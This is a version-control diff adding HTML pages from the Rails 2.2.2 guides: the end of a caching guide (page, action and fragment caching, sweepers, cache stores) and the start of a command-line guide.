+#site_title span {
+	display: none;
+}
+
+#site_title_tagline {
+	display: none;
+}
+
+ul#navMain {
+	position: absolute;
+	margin: 0;
+	padding: 0;
+	top: 97px;
+	left: 145px;
+}
+
+.left-floaty, .right-floaty {
+	padding: 15px;
+}
+
+.admonitionblock,
+.tableblock {
+	margin-left: 1em;
+	margin-right: 1em;
+	margin-top: 0.25em;
+	margin-bottom: 1em;
+}
+
+.admonitionblock .icon {
+	padding-right: 8px;
+}
+
+.admonitionblock .content {
+	border: solid 1px #ffda78;
+	background: #fffebd;
+	padding: 10px;
+	padding-top: 8px;
+	padding-bottom: 8px;
+}
+
+.admonitionblock .title {
+	font-size: 140%;
+	margin-bottom: 0.5em;
+}
+
+.tableblock table {
+	border: solid 1px #aaaaff;
+	background: #f0f0ff;
+}
+
+.tableblock th {
+	background: #e0e0e0;
+}
+
+.tableblock th,
+.tableblock td {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+.sidebarblock {
+	margin-top: 0.25em;
+	margin: 1em;
+	border: solid 1px #ccccbb;
+	padding: 8px;
+	background: #ffffe0;
+}
+
+.sidebarblock .sidebar-title {
+	font-size: 140%;
+	font-weight: 600;
+	margin-bottom: 0.3em;
+}
+
+.sidebarblock .sidebar-content > .para:last-child > p {
+	margin-bottom: 0;
+}
+
+.sidebarblock .sidebar-title a {
+	text-decoration: none;
+}
+
+.sidebarblock .sidebar-title a:hover {
+	text-decoration: underline;
+}
+
+	</style>
+</head>
+<body>
+	<div id="header" >
+		<div id="logo">
+			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+		</div>
+		
+		<h1 id="site_title"><span>Ruby on Rails</span></h1>
+		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+		<ul id="navMain">
+			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+		</ul>
+	</div>
+
+	<div id="container">
+		
+		<div id="sidebar">
+			<h2>Chapters</h2>
+			<ol>
+					<li>
+					<a href="#_basic_caching">Basic Caching</a>
+						<ul>
+						
+							<li><a href="#_page_caching">Page Caching</a></li>
+						
+							<li><a href="#_action_caching">Action Caching</a></li>
+						
+							<li><a href="#_fragment_caching">Fragment Caching</a></li>
+						
+							<li><a href="#_sweepers">Sweepers</a></li>
+						
+							<li><a href="#_sql_caching">SQL Caching</a></li>
+						
+							<li><a href="#_cache_stores">Cache stores</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_advanced_caching">Advanced Caching</a>
+					</li>
+			</ol>
+		</div>
+		
+		<div id="content">
+				<h1>Caching with Rails: An overview</h1>
+			<div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>Everyone caches. This guide will teach you what you need to know about
+avoiding that expensive round-trip to your database and returning what you
+need to return to those hungry web clients in the shortest time possible.</p></div>
+</div>
+</div>
+<h2 id="_basic_caching">1. Basic Caching</h2>
+<div class="sectionbody">
+<div class="para"><p>This is an introduction to the three types of caching techniques that Rails
+provides by default without the use of any third party plugins.</p></div>
+<div class="para"><p>To get started make sure config.action_controller.perform_caching is set
+to true for your environment. This flag is normally set in the
+corresponding config/environments/*.rb and caching is disabled by default
+there for development and test, and enabled for production.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>config<span style="color: #990000">.</span>action_controller<span style="color: #990000">.</span>perform_caching <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+</tt></pre></div></div>
+<h3 id="_page_caching">1.1. Page Caching</h3>
+<div class="para"><p>Page caching is a Rails mechanism which allows the request for a generated
+page to be fulfilled by the webserver, without ever having to go through the
+Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be
+applied to every situation (such as pages that need authentication) and since
+the webserver is literally just serving a file from the filesystem, cache
+expiration is an issue that needs to be dealt with.</p></div>
+<div class="para"><p>So, how do you enable this super-fast cache behavior?  Simple, let's say you
+have a controller called ProductsController and a <em>list</em> action that lists all
+the products</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ActionController
+
+  caches_page <span style="color: #990000">:</span>index
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The first time anyone requests products/index, Rails will generate a file
+called index.html and the webserver will then look for that file before it
+passes the next request for products/index to your Rails application.</p></div>
+<div class="para"><p>By default, the page cache directory is set to Rails.public_path (which is
+usually set to RAILS_ROOT + "/public") and this can be configured by
+changing the configuration setting ActionController::Base.page_cache_directory. Changing the
+default from /public helps avoid naming conflicts, since you may want to
+put other static html in /public, but changing this will require web
+server reconfiguration to let the web server know where to serve the
+cached files from.</p></div>
+<div class="para"><p>The Page Caching mechanism will automatically add a .html exxtension to
+requests for pages that do not have an extension to make it easy for the
+webserver to find those pages and this can be configured by changing the
+configuration setting ActionController::Base.page_cache_extension.</p></div>
+<div class="para"><p>In order to expire this page when a new product is added we could extend our
+example controler like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ActionController
+
+  caches_page <span style="color: #990000">:</span>list
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> list<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+    expire_page <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>list
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If you want a more complicated expiration scheme, you can use cache sweepers
+to expire cached objects when things change. This is covered in the section on Sweepers.</p></div>
+<h3 id="_action_caching">1.2. Action Caching</h3>
+<div class="para"><p>One of the issues with Page Caching is that you cannot use it for pages that
+require to restrict access somehow. This is where Action Caching comes in.
+Action Caching works like Page Caching except for the fact that the incoming
+web request does go from the webserver to the Rails stack and Action Pack so
+that before filters can be run on it before the cache is served, so that
+authentication and other restrictions can be used while still serving the
+result of the output from a cached copy.</p></div>
+<div class="para"><p>Clearing the cache works in the exact same way as with Page Caching.</p></div>
+<div class="para"><p>Let's say you only wanted authenticated users to edit or create a Product
+object, but still cache those pages:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ActionController
+
+  before_filter <span style="color: #990000">:</span>authenticate<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span> <span style="color: #990000">:</span>edit<span style="color: #990000">,</span> <span style="color: #990000">:</span>create <span style="color: #990000">]</span>
+  caches_page <span style="color: #990000">:</span>list
+  caches_action <span style="color: #990000">:</span>edit
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> list<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+    expire_page <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>list
+    expire_action <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>edit
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>And you can also use :if (or :unless) to pass a Proc that specifies when the
+action should be cached. Also, you can use :layout &#8658; false to cache without
+layout so that dynamic information in the layout such as logged in user info
+or the number of items in the cart can be left uncached. This feature is
+available as of Rails 2.2.</p></div>
+<div class="para"><p>[More: more examples? Walk-through of Action Caching from request to response?
+       Description of Rake tasks to clear cached files? Show example of
+       subdomain caching? Talk about :cache_path, :if and assing blocks/Procs
+       to expire_action?]</p></div>
+<h3 id="_fragment_caching">1.3. Fragment Caching</h3>
+<div class="para"><p>Life would be perfect if we could get away with caching the entire contents of
+a page or action and serving it out to the world. Unfortunately, dynamic web
+applications usually build pages with a variety of components not all of which
+have the same caching characteristics. In order to address such a dynamically
+created page where different parts of the page need to be cached and expired
+differently Rails provides a mechanism called Fragment Caching.</p></div>
+<div class="para"><p>Fragment Caching allows a fragment of view logic to be wrapped in a cache
+block and served out of the cache store when the next request comes in.</p></div>
+<div class="para"><p>As an example, if you wanted to show all the orders placed on your website
+in real time and didn't want to cache that part  of the page, but did want
+to cache the part of the page which lists all products available, you
+could use this piece of code:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;% Order.find_recent.each do |o| %&gt;</span>
+  <span style="color: #FF0000">&lt;%= o.buyer.name %&gt;</span> bought <span style="color: #FF0000">&lt;% o.product.name %&gt;</span>
+<span style="color: #FF0000">&lt;% end %&gt;</span>
+
+<span style="color: #FF0000">&lt;% cache do %&gt;</span>
+  All available products<span style="color: #990000">:</span>
+  <span style="color: #FF0000">&lt;% Product.find(:all).each do |p| %&gt;</span>
+    <span style="color: #FF0000">&lt;%= link_to p.name, product_url(p) %&gt;</span>
+  <span style="color: #FF0000">&lt;% end %&gt;</span>
+<span style="color: #FF0000">&lt;% end %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>The cache block in our example will bind to the action that called it and is
+written out to the same place as the Action Cache, which means that if you
+want to cache multiple fragments per action, you should provide an action_suffix to the cache call:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;% cache(:action =&gt;</span> <span style="color: #FF0000">'recent'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action_suffix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'all_products'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">%&gt;</span>
+  All available products<span style="color: #990000">:</span>
+</tt></pre></div></div>
+<div class="para"><p>and you can expire it using the expire_fragment method, like so:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>expire_fragment<span style="color: #990000">(:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'producst'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'recent'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action_suffix <span style="color: #990000">=&gt;</span> 'all_products<span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h3 id="_sweepers">1.4. Sweepers</h3>
+<div class="para"><p>Cache sweeping is a mechanism which allows you to get around having a ton of
+expire_{page,action,fragment} calls in your code by moving all the work
+required to expire cached content into a ActionController::Caching::Sweeper
+class that is an Observer and looks for changes to an object via callbacks,
+and when a change occurs it expires the caches associated with that object n
+an around or after filter.</p></div>
+<div class="para"><p>Continuing with our Product controller example, we could rewrite it with a
+sweeper such as the following:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> StoreSweeper <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Caching<span style="color: #990000">::</span>Sweeper
+  observe Product <span style="font-style: italic"><span style="color: #9A1900"># This sweeper is going to keep an eye on the Post model</span></span>
+
+  <span style="font-style: italic"><span style="color: #9A1900"># If our sweeper detects that a Post was created call this</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> after_create<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
+          expire_cache_for<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-style: italic"><span style="color: #9A1900"># If our sweeper detects that a Post was updated call this</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> after_update<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
+          expire_cache_for<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-style: italic"><span style="color: #9A1900"># If our sweeper detects that a Post was deleted call this</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> after_destroy<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
+          expire_cache_for<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  private
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> expire_cache_for<span style="color: #990000">(</span>record<span style="color: #990000">)</span>
+    <span style="font-style: italic"><span style="color: #9A1900"># Expire the list page now that we added a new product</span></span>
+    expire_page<span style="color: #990000">(:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'#{record}'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'list'</span><span style="color: #990000">)</span>
+
+    <span style="font-style: italic"><span style="color: #9A1900"># Expire a fragment</span></span>
+    expire_fragment<span style="color: #990000">(:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'#{record}'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'recent'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action_suffix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'all_products'</span><span style="color: #990000">)</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Then we add it to our controller to tell it to call the sweeper when certain
+actions are called. So, if we wanted to expire the cached content for the
+list and edit actions when the create action was called, we could do the
+following:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ActionController
+
+  before_filter <span style="color: #990000">:</span>authenticate<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span> <span style="color: #990000">:</span>edit<span style="color: #990000">,</span> <span style="color: #990000">:</span>create <span style="color: #990000">]</span>
+  caches_page <span style="color: #990000">:</span>list
+  caches_action <span style="color: #990000">:</span>edit
+  cache_sweeper <span style="color: #990000">:</span>store_sweeper<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span> <span style="color: #990000">:</span>create <span style="color: #990000">]</span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> list<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+    expire_page <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>list
+    expire_action <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>edit
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_sql_caching">1.5. SQL Caching</h3>
+<div class="para"><p>Query caching is a Rails feature that caches the result set returned by each
+query so that if Rails encounters the same query again for that request, it
+will used the cached result set as opposed to running the query against the
+database again.</p></div>
+<div class="para"><p>For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ActionController
+
+  before_filter <span style="color: #990000">:</span>authenticate<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span> <span style="color: #990000">:</span>edit<span style="color: #990000">,</span> <span style="color: #990000">:</span>create <span style="color: #990000">]</span>
+  caches_page <span style="color: #990000">:</span>list
+  caches_action <span style="color: #990000">:</span>edit
+  cache_sweeper <span style="color: #990000">:</span>store_sweeper<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span> <span style="color: #990000">:</span>create <span style="color: #990000">]</span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> list
+    <span style="font-style: italic"><span style="color: #9A1900"># Run a find query</span></span>
+    Product<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
+
+    <span style="color: #990000">...</span>
+
+    <span style="font-style: italic"><span style="color: #9A1900"># Run the same query again</span></span>
+    Product<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+    expire_page <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>list
+    expire_action <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>edit
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>In the <em>list</em> action above, the result set returned by the first
+Product.find(:all) will be cached and will be used to avoid querying the
+database again the second time that finder is called.</p></div>
+<div class="para"><p>Query caches are created at the start of an action and destroyed at the end of
+that action and thus persist only for the duration of the action.</p></div>
+<h3 id="_cache_stores">1.6. Cache stores</h3>
+<div class="para"><p>Rails provides different stores for the cached data for action and fragment
+caches. Page caches are always stored on disk.</p></div>
+<div class="para"><p>The cache stores provided include:</p></div>
+<div class="para"><p>1) Memory store: Cached data is stored in the memory allocated to the Rails
+                 process, which is fine for WEBrick and for FCGI (if you
+                 don't care that each FCGI process holds its own fragment
+                 store). It's not suitable for CGI as the process is thrown
+                 away at the end of each request. It can potentially also
+                 take up a lot of memory since each process keeps all the
+                 caches in memory.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>memory_store
+</tt></pre></div></div>
+<div class="para"><p>2) File store: Cached data is stored on the disk, this is the default store
+               and the default path for this store is: /tmp/cache. Works
+               well for all types of environments and allows all processes
+               running from the same application directory to access the
+               cached content.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>file_store<span style="color: #990000">,</span> <span style="color: #FF0000">"/path/to/cache/directory"</span>
+</tt></pre></div></div>
+<div class="para"><p>3) DRb store: Cached data is stored in a separate shared DRb process that all
+              servers communicate with. This works for all environments and
+              only keeps one cache around for all processes, but requires
+              that you run and manage a separate DRb process.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>drb_store<span style="color: #990000">,</span> <span style="color: #FF0000">"druby://localhost:9192"</span>
+</tt></pre></div></div>
+<div class="para"><p>4) MemCached store: Works like DRbStore, but uses Danga's MemCache instead.
+                    Requires the ruby-memcache library:
+                    gem install ruby-memcache.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>mem_cache_store<span style="color: #990000">,</span> <span style="color: #FF0000">"localhost"</span>
+</tt></pre></div></div>
+<div class="para"><p>5) Custom store: You can define your own cache store (new in Rails 2.1)</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> MyOwnStore<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"parameter"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+</div>
+<h2 id="_advanced_caching">2. Advanced Caching</h2>
+<div class="sectionbody">
+<div class="para"><p>Along with the built-in mechanisms outlined above, a number of excellent
+plugins exist to help with finer grained control over caching. These include
+Chris Wanstrath's excellent cache_fu plugin (more info here:
+<a href="http://errtheblog.com/posts/57-kickin-ass-w-cachefu">http://errtheblog.com/posts/57-kickin-ass-w-cachefu</a>) and Evan Weaver's
+interlock plugin (more info here:
+<a href="http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/">http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/</a>). Both
+of these plugins play nice with memcached and are a must-see for anyone
+seriously considering optimizing their caching needs.</p></div>
+</div>
+
+		</div>
+	</div>
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/command_line.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/command_line.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/command_line.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,434 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<title>A Guide to The Rails Command Line</title>
+	<!--[if lt IE 8]>
+	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+	<![endif]-->
+	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+	<style type="text/css">
+		div#container {
+	max-width: 900px;
+	padding-bottom: 3em;
+}
+
+div#content {
+	margin-left: 200px;
+}
+
+div#container.notoc {
+	max-width: 600px;
+}
+
+.notoc div#content {
+	margin-left: 0;
+}
+
+pre {
+	line-height: 1.4em;
+}
+
+#content p tt {
+	background: #eeeeee;
+	border: solid 1px #cccccc;
+	padding: 3px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+#content dt tt {
+	font-size: 10pt;
+}
+
+dd {
+	margin-left: 3em;
+}
+
+#content dt tt, #content pre tt {
+	background: none;
+	padding: 0;
+	border: 0;
+}
+
+#content .olist ol {
+	margin-left: 2em;
+}
+
+#header {
+	position: relative;
+	max-width: 840px;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+#header.notoc {
+	max-width: 580px;
+}
+
+#logo {
+	position: absolute;
+	left: 10px;
+	top: 10px;
+	width: 110px;
+	height: 140px;
+}
+
+div#header h1#site_title {
+	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
+	position: absolute;
+	width: 392px;
+	height: 55px;
+	left: 145px;
+	top: 20px;
+	margin: 0;
+	padding: 0;
+}
+
+#site_title span {
+	display: none;
+}
+
+#site_title_tagline {
+	display: none;
+}
+
+ul#navMain {
+	position: absolute;
+	margin: 0;
+	padding: 0;
+	top: 97px;
+	left: 145px;
+}
+
+.left-floaty, .right-floaty {
+	padding: 15px;
+}
+
+.admonitionblock,
+.tableblock {
+	margin-left: 1em;
+	margin-right: 1em;
+	margin-top: 0.25em;
+	margin-bottom: 1em;
+}
+
+.admonitionblock .icon {
+	padding-right: 8px;
+}
+
+.admonitionblock .content {
+	border: solid 1px #ffda78;
+	background: #fffebd;
+	padding: 10px;
+	padding-top: 8px;
+	padding-bottom: 8px;
+}
+
+.admonitionblock .title {
+	font-size: 140%;
+	margin-bottom: 0.5em;
+}
+
+.tableblock table {
+	border: solid 1px #aaaaff;
+	background: #f0f0ff;
+}
+
+.tableblock th {
+	background: #e0e0e0;
+}
+
+.tableblock th,
+.tableblock td {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+.sidebarblock {
+	margin-top: 0.25em;
+	margin: 1em;
+	border: solid 1px #ccccbb;
+	padding: 8px;
+	background: #ffffe0;
+}
+
+.sidebarblock .sidebar-title {
+	font-size: 140%;
+	font-weight: 600;
+	margin-bottom: 0.3em;
+}
+
+.sidebarblock .sidebar-content > .para:last-child > p {
+	margin-bottom: 0;
+}
+
+.sidebarblock .sidebar-title a {
+	text-decoration: none;
+}
+
+.sidebarblock .sidebar-title a:hover {
+	text-decoration: underline;
+}
+
+	</style>
+</head>
+<body>
+	<div id="header" >
+		<div id="logo">
+			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+		</div>
+		
+		<h1 id="site_title"><span>Ruby on Rails</span></h1>
+		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+		<ul id="navMain">
+			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+		</ul>
+	</div>
+
+	<div id="container">
+		
+		<div id="sidebar">
+			<h2>Chapters</h2>
+			<ol>
+					<li>
+					<a href="#_command_line_basics">Command Line Basics</a>
+						<ul>
+						
+							<li><a href="#_rails">rails</a></li>
+						
+							<li><a href="#_server">server</a></li>
+						
+							<li><a href="#_generate">generate</a></li>
+						
+						</ul>
+					</li>
+			</ol>
+		</div>
+		
+		<div id="content">
+				<h1>A Guide to The Rails Command Line</h1>
+			<div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>Rails comes with every command line tool you'll need to</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Create a Rails application
+</p>
+</li>
+<li>
+<p>
+Generate models, controllers, database migrations, and unit tests
+</p>
+</li>
+<li>
+<p>
+Start a development server
+</p>
+</li>
+<li>
+<p>
+Mess with objects through an interactive shell
+</p>
+</li>
+<li>
+<p>
+Profile and benchmark your new creation
+</p>
+</li>
+</ul></div>
+<div class="para"><p>&#8230; and much, much more! (Buy now!)</p></div>
+<div class="para"><p>This tutorial assumes you have basic Rails knowledge from reading the Getting Started with Rails Guide.</p></div>
+</div>
+</div>
+<h2 id="_command_line_basics">1. Command Line Basics</h2>
+<div class="sectionbody">
+<div class="para"><p>There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+console
+</p>
+</li>
+<li>
+<p>
+server
+</p>
+</li>
+<li>
+<p>
+rake
+</p>
+</li>
+<li>
+<p>
+generate
+</p>
+</li>
+<li>
+<p>
+rails
+</p>
+</li>
+</ul></div>
